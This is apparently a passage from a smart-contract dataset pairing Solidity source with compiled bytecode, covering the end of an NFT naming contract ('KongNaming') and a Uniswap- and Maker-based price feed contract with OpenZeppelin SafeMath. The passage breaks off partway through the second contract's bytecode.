bioWasSet[tokenIDs[i]] = true; } else { payableSets += 1; } bios[tokenIDs[i]] = _bios[i]; emit IKongNaming.SetBio(tokenIDs[i], _bios[i]); } if (ownerOfAllKongs) { require( msg.value == payableSets * changePrice, "KongNaming::insufficient ether sent" ); } } function batchSetNameAndBio( bytes32[] memory _names, string[] memory _bios, uint256[] memory tokenIDs ) external payable override nonReentrant { require( _names.length == _bios.length, "KongNaming::different length names and bios" ); require( _bios.length == tokenIDs.length, "KongNaming::different length bios and tokenIDs" ); bool ownerOfAllKongs = isOwnerOfKongs(tokenIDs); require( msg.sender == admin || ownerOfAllKongs, "KongNaming::not authorized" ); uint256 payableSets = 0; for (uint256 i = 0; i < _names.length; i++) { if (bioWasSet[tokenIDs[i]] == false) { bioWasSet[tokenIDs[i]] = true; } else { payableSets += 1; } if (nameWasSet[tokenIDs[i]] == false) { nameWasSet[tokenIDs[i]] = true; } else { payableSets += 1; } names[tokenIDs[i]] = _names[i]; bios[tokenIDs[i]] = _bios[i]; emit IKongNaming.SetName(tokenIDs[i], _names[i]); emit IKongNaming.SetBio(tokenIDs[i], _bios[i]); } if (ownerOfAllKongs) { require( msg.value == payableSets * changePrice, "KongNaming::insufficient ether sent" ); } } function isOwnerOfKong(uint256 tokenID) private view returns (bool) { return msg.sender == rkl.ownerOf(tokenID); } function isOwnerOfKongs(uint256[] memory tokenIDs) private view returns (bool) { for (uint256 i = 0; i < tokenIDs.length; i++) { if (!isOwnerOfKong(tokenIDs[i])) { return false; } } return true; } function ensureAddressNotZero(address checkThisAddress) private pure { require(checkThisAddress != address(0), "KongNaming::address is zero"); } function editPrice(uint256 newChangePrice) external { require(msg.sender == admin, "KongNaming::unauthorized"); changePrice = newChangePrice; } function editBeneficiary(address payable newBeneficiary) external { require(msg.sender == admin, "KongNaming::unauthorized"); beneficiary = newBeneficiary; } function editAdmin(address newAdmin) external { require(msg.sender == admin, "KongNaming::unauthorized"); admin = newAdmin; } function withdraw() external { require(msg.sender == admin, "KongNaming::unauthorized"); beneficiary.transfer(address(this).balance); } }
0x6080604052600436106100f35760003560e01c8063947e18bc1161008a578063aa9f452111610059578063aa9f45211461025c578063b4e0908214610290578063eeec6999146102bd578063f851a440146102d057600080fd5b8063947e18bc14610203578063a0e4820914610216578063a22a8b2914610229578063a505349e1461024957600080fd5b80634622ab03116100c65780634622ab031461017f5780635f66aeeb146101ba57806381b6e8e3146101cd57806392169ecd146101e357600080fd5b806302b4c17b146100f857806338af3eed1461010d5780633ccfd60b1461014a5780633d128eec1461015f575b600080fd5b61010b610106366004611417565b6102f0565b005b34801561011957600080fd5b5060065461012d906001600160a01b031681565b6040516001600160a01b0390911681526020015b60405180910390f35b34801561015657600080fd5b5061010b6106ea565b34801561016b57600080fd5b5061010b61017a3660046113d6565b610750565b34801561018b57600080fd5b506101ac61019a3660046115f1565b60016020526000908152604090205481565b604051908152602001610141565b61010b6101c83660046115ac565b61079c565b3480156101d957600080fd5b506101ac60075481565b3480156101ef57600080fd5b5061010b6101fe3660046113d6565b6108af565b61010b610211366004611503565b6108fb565b61010b61022436600461149f565b610b45565b34801561023557600080fd5b5061010b6102443660046115f1565b610d5c565b61010b61025736600461153a565b610d8b565b34801561026857600080fd5b5061012d7f000000000000000000000000ef0182dc0574cd5874494a120750fd222fdb909a81565b34801561029c57600080fd5b506102b06102ab3660046115f1565b610f2c565b604051610141919061160a565b61010b6102cb36600461158a565b610fc6565b3480156102dc57600080fd5b5060055461012d906001600160a01b031681565b6002600054141561031c5760405162461bcd60e51b815260040161031390611727565b60405180910390fd5b600260005581518351146103865760405162461bcd60e51b815260206004820152602b60248201527f4b6f6e674e616d696e673a3a646966666572656e74206c656e677468206e616d60448201526a657320616e642062696f7360a81b6064820152608401610313565b80518251146103a75760405162461bcd60e51b8152600401610313906116d9565b60006103b2826110bc565b6005549091506001600160a01b03163314806103cb5750805b6104175760405162461bcd60e51b815260206004820152601a60248201527f4b6f6e674e616d696e673a3a6e6f7420617574686f72697a65640000000000006044820152606401610313565b6000805b85518110156106ac576004600085838151811061043a5761043a611856565b60209081029190910181015182528101919091526040016000205460ff166104a65760016004600086848151811061047457610474611856565b6020026020010151815260200190815260200160002060006101000a81548160ff0219169083151502179055506104b4565b6104b16001836117b3565b91505b600360008583815181106104ca576104ca611856565b60209081029190910181015182528101919091526040016000205460ff166105365760016003600086848151811061050457610504611856565b6020026020010151815260200190815260200160002060006101000a81548160ff021916908315150217905550610544565b6105416001836117b3565b91505b85818151811061055657610556611856565b60200260200101516001600086848151811061057457610574611856565b60200260200101518152602001908152602001600020819055508481815181106105a0576105a0611856565b6020026020010151600260008684815181106105be576105be611856565b6020026020010151815260200190815260200160002090805190602001906105e79291906111c9565b508381815181106105fa576105fa611856565b60200260200101516000805160206118b883398151915287838151811061062357610623611856565b602002602001015160405161063a91815260200190565b60405180910390a283818151811061065457610654611856565b602002602001015160008051602061189883398151915286838151811061067d5761067d611856565b6020026020010151604051610692919061160a565b60405180910390a2806106a481611825565b91505061041b565b5081156106de576007546106c090826117cb565b34146106de5760405162461bcd60e51b81526004016103139061165f565b50506001600055505050565b6005546001600160a01b031633146107145760405162461bcd60e51b8152600401610313906116a2565b6006546040516001600160a01b03909116904780156108fc02916000818181858888f1935050505015801561074d573d6000803e3d6000fd5b50565b6005546001600160a01b0316331461077a5760405162461bcd60e51b8152600401610313906116a2565b600580546001600160a01b0319166001600160a01b0392909216919091179055565b600260005414156107bf5760405162461bcd60e51b815260040161031390611727565b600260009081556107cf82611113565b6005549091506001600160a01b03163314806107e85750805b6108045760405162461bcd60e51b8152600401610313906116a2565b60008281526004602052604090205460ff16610838576000828152600460205260409020805460ff1916600117905561085f565b801561085f57600754341461085f5760405162461bcd60e51b81526004016103139061165f565b6000828152600260209081526040909120845161087e928601906111c9565b50816000805160206118988339815191528460405161089d919061160a565b60405180910390a25050600160005550565b6005546001600160a01b031633146108d95760405162461bcd60e51b8152600401610313906116a2565b600680546001600160a01b0319166001600160a01b0392909216919091179055565b6002600054141561091e5760405162461bcd60e51b815260040161031390611727565b600260005580518251146109445760405162461bcd60e51b8152600401610313906116d9565b600061094f826110bc565b6005549091506001600160a01b03163314806109685750805b6109b45760405162461bcd60e51b815260206004820152601a60248201527f4b6f6e674e616d696e673a3a6e6f7420617574686f72697a65640000000000006044820152606401610313565b6000805b8451811015610b0857600460008583815181106109d7576109d7611856565b60209081029190910181015182528101919091526040016000205460ff16610a4357600160046000868481518110610a1157610a11611856565b6020026020010151815260200190815260200160002060006101000a81548160ff021916908315150217905550610a51565b610a4e6001836117b3565b91505b848181518110610a6357610a63611856565b602002602001015160026000868481518110610a8157610a81611856565b602002602001015181526020019081526020016000209080519060200190610aaa9291906111c9565b50838181518110610abd57610abd611856565b6020026020010151600080516020611898833981519152868381518110610ae657610ae6611856565b6020026020010151604051610afb919061160a565b60405180910390a26109b8565b508115610b3a57600754610b1c90826117cb565b3414610b3a5760405162461bcd60e51b81526004016103139061165f565b505060016000555050565b60026000541415610b685760405162461bcd60e51b815260040161031390611727565b60026000558051825114610bd65760405162461bcd60e51b815260206004820152602f60248201527f4b6f6e674e616d696e673a3a646966666572656e74206c656e677468206e616d60448201526e657320616e6420746f6b656e49447360881b6064820152608401610313565b6000610be1826110bc565b6005549091506001600160a01b0316331480610bfa5750805b610c165760405162461bcd60e51b8152600401610313906116a2565b6000805b8451811015610b085760036000858381518110610c3957610c39611856565b60209081029190910181015182528101919091526040016000205460ff16610ca557600160036000868481518110610c7357610c73611856565b6020026020010151815260200190815260200160002060006101000a81548160ff021916908315150217905550610cb3565b610cb06001836117b3565b91505b848181518110610cc557610cc5611856565b602002602001015160016000868481518110610ce357610ce3611856565b6020026020010151815260200190815260200160002081905550838181518110610d0f57610d0f611856565b60200260200101516000805160206118b8833981519152868381518110610d3857610d38611856565b6020026020010151604051610d4f91815260200190565b60405180910390a2610c1a565b6005546001600160a01b03163314610d865760405162461bcd60e51b8152600401610313906116a2565b600755565b60026000541415610dae5760405162461bcd60e51b815260040161031390611727565b60026000908155610dbe82611113565b6005549091506001600160a01b0316331480610dd75750805b610df35760405162461bcd60e51b8152600401610313906116a2565b60008281526004602052604081205460ff16610e27576000838152600460205260409020805460ff19166001179055610e35565b610e326001826117b3565b90505b60008381526003602052604090205460ff16610e69576000838152600360205260409020805460ff19166001179055610e77565b610e746001826117b3565b90505b8115610ea857600754610e8a90826117cb565b3414610ea85760405162461bcd60e51b81526004016103139061165f565b6000838152600160209081526040808320889055600282529091208551610ed1928701906111c9565b50826000805160206118b883398151915286604051610ef291815260200190565b60405180910390a28260008051602061189883398151915285604051610f18919061160a565b60405180910390a250506001600055505050565b60026020526000908152604090208054610f45906117ea565b80601f0160208091040260200160405190810160405280929190818152602001828054610f71906117ea565b8015610fbe5780601f10610f9357610100808354040283529160200191610fbe565b820191906000526020600020905b815481529060010190602001808311610fa157829003601f168201915b505050505081565b60026000541415610fe95760405162461bcd60e51b815260040161031390611727565b60026000908155610ff982611113565b6005549091506001600160a01b03163314806110125750805b61102e5760405162461bcd60e51b8152600401610313906116a2565b60008281526003602052604090205460ff16611062576000828152600360205260409020805460ff19166001179055611089565b80156110895760075434146110895760405162461bcd60e51b81526004016103139061165f565b600082815260016020526040908190208490555182906000805160206118b88339815191529061089d9086815260200190565b6000805b825181101561110a576110eb8382815181106110de576110de611856565b6020026020010151611113565b6110f85750600092915050565b8061110281611825565b9150506110c0565b50600192915050565b6040516331a9108f60e11b8152600481018290526000907f000000000000000000000000ef0182dc0574cd5874494a120750fd222fdb909a6001600160a01b031690636352211e9060240160206040518083038186803b15801561117657600080fd5b505afa15801561118a573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906111ae91906113fa565b6001600160a01b0316336001600160a01b0316149050919050565b8280546111d5906117ea565b90600052602060002090601f0160209004810192826111f7576000855561123d565b82601f1061121057805160ff191683800117855561123d565b8280016001018555821561123d579182015b8281111561123d578251825591602001919060010190611222565b5061124992915061124d565b5090565b5b80821115611249576000815560010161124e565b600082601f83011261127357600080fd5b813560206112886112838361178f565b61175e565b80838252828201915082860187848660051b89010111156112a857600080fd5b60005b858110156112c7578135845292840192908401906001016112ab565b5090979650505050505050565b600082601f8301126112e557600080fd5b813560206112f56112838361178f565b80838252828201915082860187848660051b890101111561131557600080fd5b6000805b8681101561135857823567ffffffffffffffff811115611337578283fd5b6113458b88838d0101611366565b8652509385019391850191600101611319565b509198975050505050505050565b600082601f83011261137757600080fd5b813567ffffffffffffffff8111156113915761139161186c565b6113a4601f8201601f191660200161175e565b8181528460208386010111156113b957600080fd5b816020850160208301376000918101602001919091529392505050565b6000602082840312156113e857600080fd5b81356113f381611882565b9392505050565b60006020828403121561140c57600080fd5b81516113f381611882565b60008060006060848603121561142c57600080fd5b833567ffffffffffffffff8082111561144457600080fd5b61145087838801611262565b9450602086013591508082111561146657600080fd5b611472878388016112d4565b9350604086013591508082111561148857600080fd5b5061149586828701611262565b9150509250925092565b600080604083850312156114b257600080fd5b823567ffffffffffffffff808211156114ca57600080fd5b6114d686838701611262565b935060208501359150808211156114ec57600080fd5b506114f985828601611262565b9150509250929050565b6000806040838503121561151657600080fd5b823567ffffffffffffffff8082111561152e57600080fd5b6114d6868387016112d4565b60008060006060848603121561154f57600080fd5b83359250602084013567ffffffffffffffff81111561156d57600080fd5b61157986828701611366565b925050604084013590509250925092565b6000806040838503121561159d57600080fd5b50508035926020909101359150565b600080604083850312156115bf57600080fd5b823567ffffffffffffffff8111156115d657600080fd5b6115e285828601611366565b95602094909401359450505050565b60006020828403121561160357600080fd5b5035919050565b600060208083528351808285015260005b818110156116375785810183015185820160400152820161161b565b81811115611649576000604083870101525b50601f01601f1916929092016040019392505050565b60208082526023908201527f4b6f6e674e616d696e673a3a696e73756666696369656e742065746865722073604082015262195b9d60ea1b606082015260800190565b60208082526018908201527f4b6f6e674e616d696e673a3a756e617574686f72697a65640000000000000000604082015260600190565b6020808252602e908201527f4b6f6e674e616d696e673a3a646966666572656e74206c656e6774682062696f60408201526d7320616e6420746f6b656e49447360901b606082015260800190565b6020808252601f908201527f5265656e7472616e637947756172643a207265656e7472616e742063616c6c00604082015260600190565b604051601f8201601f1916810167ffffffffffffffff811182821017156117875761178761186c565b604052919050565b600067ffffffffffffffff8211156117a9576117a961186c565b5060051b60200190565b600082198211156117c6576117c6611840565b500190565b60008160001904831182151516156117e5576117e5611840565b500290565b600181811c908216806117fe57607f821691505b6020821081141561181f57634e487b7160e01b600052602260045260246000fd5b50919050565b600060001982141561183957611839611840565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b038116811461074d57600080fdfe24b86733642659918bd2a578f83c8327c2060a7d5d9c9955535da916ea66abdf00c4abf463505e02d242942eb9a41e816c7adb5382a3931c245485970f88099fa26469706673582212208fbd06e36f6ad168244ff70c2810ae2791ae0c9d82fb95eec28b6c1b1ce2c46564736f6c63430008070033
{"success": true, "error": null, "results": {}}
36
0x1cb8fda29dfb91508552e5c127789e7a34680112
// SPDX-License-Identifier: MIT pragma solidity ^0.6.8; // File: @openzeppelin/contracts/math/SafeMath.sol /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } // File: @uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router01.sol interface IUniswapV2Router01 { function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidity( address tokenA, address tokenB, uint amountADesired, uint amountBDesired, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB, uint liquidity); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); function removeLiquidity( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB); function removeLiquidityETH( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountToken, uint amountETH); function removeLiquidityWithPermit( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountA, uint amountB); function removeLiquidityETHWithPermit( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountToken, uint amountETH); function swapExactTokensForTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapTokensForExactTokens( uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB); function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut); function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn); function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts); function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts); } // File: @uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router02.sol interface IUniswapV2Router02 is IUniswapV2Router01 { function removeLiquidityETHSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountETH); function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountETH); function swapExactTokensForTokensSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function swapExactETHForTokensSupportingFeeOnTransferTokens( uint amountOutMin, address[] calldata path, address to, uint deadline ) external payable; function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; } // File: contracts/core/mixins/Initializable.sol // solhint-disable-next-line max-line-length // https://github.com/OpenZeppelin/openzeppelin-sdk/blob/master/packages/lib/contracts/Initializable.sol contract Initializable { bool public initialized; bool private initializing; modifier initializer() { require(initializing || !initialized, "already-initialized"); bool isTopLevelCall = !initializing; if (isTopLevelCall) { initializing = true; initialized = true; } _; if (isTopLevelCall) { initializing = false; } } } // File: contracts/core/interfaces/IPriceFeed.sol interface IPriceFeed { function ethPriceInUSD(uint256 amount) external view returns (uint256); function erc20PriceInETH(address token, uint256 amount) external view returns (uint256); function erc20PriceInUSD(address token, uint256 amount) external view returns (uint256); } // File: contracts/core/interfaces/IMakerPriceFeed.sol interface IMakerPriceFeed { function read() external view returns (bytes32); } // File: contracts/core/libraries/UniswapV2Library.sol // solhint-disable-next-line max-line-length // UniswapV2Library https://github.com/Uniswap/uniswap-v2-periphery/blob/master/contracts/libraries/UniswapV2Library.sol library UniswapV2Library { using SafeMath for uint256; function sortTokens(address tokenA, address tokenB) internal pure returns (address token0, address token1) { require(tokenA != tokenB, "identical-addresses"); (token0, token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA); require(token0 != address(0), "zero-address"); } function pairFor( address factory, address tokenA, address tokenB ) internal pure returns (address pair) { (address token0, address token1) = sortTokens(tokenA, tokenB); pair = address( uint256( keccak256( abi.encodePacked( hex"ff", factory, keccak256(abi.encodePacked(token0, token1)), hex"96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f" // init code hash ) ) ) ); } function getReserves( address factory, address tokenA, address tokenB ) internal view returns (uint256 reserveA, uint256 reserveB) { (address token0, ) = sortTokens(tokenA, tokenB); address pair = pairFor(factory, tokenA, tokenB); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory data) = pair.staticcall( abi.encodeWithSignature("getReserves()") // IUniswapV2Pair.getReserves() ); if (success) { (uint112 reserve0, uint112 reserve1, ) = abi.decode(data, (uint112, uint112, uint32)); (reserveA, reserveB) = tokenA == token0 ? (reserve0, reserve1) : (reserve1, reserve0); } else { // Pair doesn't exist so cannot call 'getReserves()' return (0, 0); } } function quote( uint256 amountA, uint256 reserveA, uint256 reserveB ) internal pure returns (uint256 amountB) { require(amountA > 0, "insufficient-amount"); require(reserveA > 0 && reserveB > 0, "insufficient-liquidity"); amountB = amountA.mul(reserveB) / reserveA; } function getAmountOut( uint256 amountIn, uint256 reserveIn, uint256 reserveOut ) internal pure returns (uint256 amountOut) { require(amountIn > 0, "insufficient-input-amount"); require(reserveIn > 0 && reserveOut > 0, "insufficient-liquidity"); uint256 amountInWithFee = amountIn.mul(997); uint256 numerator = amountInWithFee.mul(reserveOut); uint256 denominator = reserveIn.mul(1000).add(amountInWithFee); amountOut = numerator / denominator; } function getAmountIn( uint256 amountOut, uint256 reserveIn, uint256 reserveOut ) internal pure returns (uint256 amountIn) { require(amountOut > 0, "insufficient-output-amount"); require(reserveIn > 0 && reserveOut > 0, "insufficient-liquidity"); uint256 numerator = reserveIn.mul(amountOut).mul(1000); uint256 denominator = reserveOut.sub(amountOut).mul(997); amountIn = (numerator / denominator).add(1); } } // File: contracts/core/PriceFeed.sol contract PriceFeed is Initializable, IPriceFeed { using SafeMath for uint256; address internal _uniswapFactory; address internal _weth; address internal _makerPriceFeed; function initialize(address makerPriceFeed, address uniswapRouter) public initializer { _makerPriceFeed = makerPriceFeed; IUniswapV2Router02 router = IUniswapV2Router02(uniswapRouter); _uniswapFactory = router.factory(); _weth = router.WETH(); } function ethPriceInUSD(uint256 amount) public override view returns (uint256) { uint256 price = uint256(IMakerPriceFeed(_makerPriceFeed).read()); return price.mul(amount).div(10**18); } function erc20PriceInETH(address token, uint256 amount) public override view returns (uint256) { (uint256 reserve0, uint256 reserve1) = UniswapV2Library.getReserves( _uniswapFactory, token, _weth ); if (reserve0 > 0 && reserve1 > 0) { return UniswapV2Library.quote(amount, reserve0, reserve1); } return 0; } function erc20PriceInUSD(address token, uint256 amount) public override view returns (uint256) { uint256 ethPrice = ethPriceInUSD(10**18); uint256 erc20Price = erc20PriceInETH(token, amount); return erc20Price == 0 ? 0 : ethPrice.mul(erc20Price).div(10**18); } }
0x608060405234801561001057600080fd5b50600436106100575760003560e01c8063158ef93e1461005c5780634225b7031461007c578063485cc955146100de578063751c1e3314610142578063eb488a7714610184575b600080fd5b6100646101e6565b60405180821515815260200191505060405180910390f35b6100c86004803603604081101561009257600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506101f7565b6040518082815260200191505060405180910390f35b610140600480360360408110156100f457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610285565b005b61016e6004803603602081101561015857600080fd5b810190808035906020019092919050505061055c565b6040518082815260200191505060405180910390f35b6101d06004803603604081101561019a57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061063c565b6040518082815260200191505060405180910390f35b60008054906101000a900460ff1681565b600080600061024b600060029054906101000a900473ffffffffffffffffffffffffffffffffffffffff1686600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166106a7565b9150915060008211801561025f5750600081115b156102785761026f8483836108da565b9250505061027f565b6000925050505b92915050565b600060019054906101000a900460ff16806102ab575060008054906101000a900460ff16155b61031d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260138152602001807f616c72656164792d696e697469616c697a65640000000000000000000000000081525060200191505060405180910390fd5b60008060019054906101000a900460ff16159050801561036d576001600060016101000a81548160ff02191690831515021790555060016000806101000a81548160ff0219169083151502179055505b82600260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060008290508073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b1580156103f957600080fd5b505afa15801561040d573d6000803e3d6000fd5b505050506040513d602081101561042357600080fd5b8101908080519060200190929190505050600060026101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156104ba57600080fd5b505afa1580156104ce573d6000803e3d6000fd5b505050506040513d60208110156104e457600080fd5b8101908080519060200190929190505050600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505080156105575760008060016101000a81548160ff0219169083151502179055505b505050565b600080600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166357de26a46040518163ffffffff1660e01b815260040160206040518083038186803b1580156105c757600080fd5b505afa1580156105db573d6000803e3d6000fd5b505050506040513d60208110156105f157600080fd5b810190808051906020019092919050505060001c9050610634670de0b6b3a764000061062685846109f890919063ffffffff16565b610a7e90919063ffffffff16565b915050919050565b600080610650670de0b6b3a764000061055c565b9050600061065e85856101f7565b90506000811461069a57610695670de0b6b3a764000061068783856109f890919063ffffffff16565b610a7e90919063ffffffff16565b61069d565b60005b9250505092915050565b60008060006106b68585610ac8565b50905060006106c6878787610c5c565b9050600060608273ffffffffffffffffffffffffffffffffffffffff166040516024016040516020818303038152906040527f0902f1ac000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19166020820180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff83818316178352505050506040518082805190602001908083835b602083106107995780518252602082019150602081019050602083039250610776565b6001836020036101000a038019825116818451168082178552505050505050905001915050600060405180830381855afa9150503d80600081146107f9576040519150601f19603f3d011682016040523d82523d6000602084013e6107fe565b606091505b509150915081156108bd5760008082806020019051606081101561082157600080fd5b8101908080519060200190929190805190602001909291908051906020019092919050505050915091508573ffffffffffffffffffffffffffffffffffffffff168a73ffffffffffffffffffffffffffffffffffffffff1614610885578082610888565b81815b816dffffffffffffffffffffffffffff169150806dffffffffffffffffffffffffffff169050809850819950505050506108cd565b60008095509550505050506108d2565b505050505b935093915050565b6000808411610951576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260138152602001807f696e73756666696369656e742d616d6f756e740000000000000000000000000081525060200191505060405180910390fd5b6000831180156109615750600082115b6109d3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260168152602001807f696e73756666696369656e742d6c69717569646974790000000000000000000081525060200191505060405180910390fd5b826109e783866109f890919063ffffffff16565b816109ee57fe5b0490509392505050565b600080831415610a0b5760009050610a78565b6000828402905082848281610a1c57fe5b0414610a73576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526021815260200180610e3c6021913960400191505060405180910390fd5b809150505b92915050565b6000610ac083836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250610d75565b905092915050565b6000808273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161415610b6d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260138152602001807f6964656e746963616c2d6164647265737365730000000000000000000000000081525060200191505060405180910390fd5b8273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1610610ba7578284610baa565b83835b8092508193505050600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610c55576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600c8152602001807f7a65726f2d61646472657373000000000000000000000000000000000000000081525060200191505060405180910390fd5b9250929050565b6000806000610c6b8585610ac8565b91509150858282604051602001808373ffffffffffffffffffffffffffffffffffffffff1660601b81526014018273ffffffffffffffffffffffffffffffffffffffff1660601b8152601401925050506040516020818303038152906040528051906020012060405160200180807fff000000000000000000000000000000000000000000000000000000000000008152506001018373ffffffffffffffffffffffffffffffffffffffff1660601b8152601401828152602001807f96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f815250602001925050506040516020818303038152906040528051906020012060001c925050509392505050565b60008083118290610e21576040517f08c379a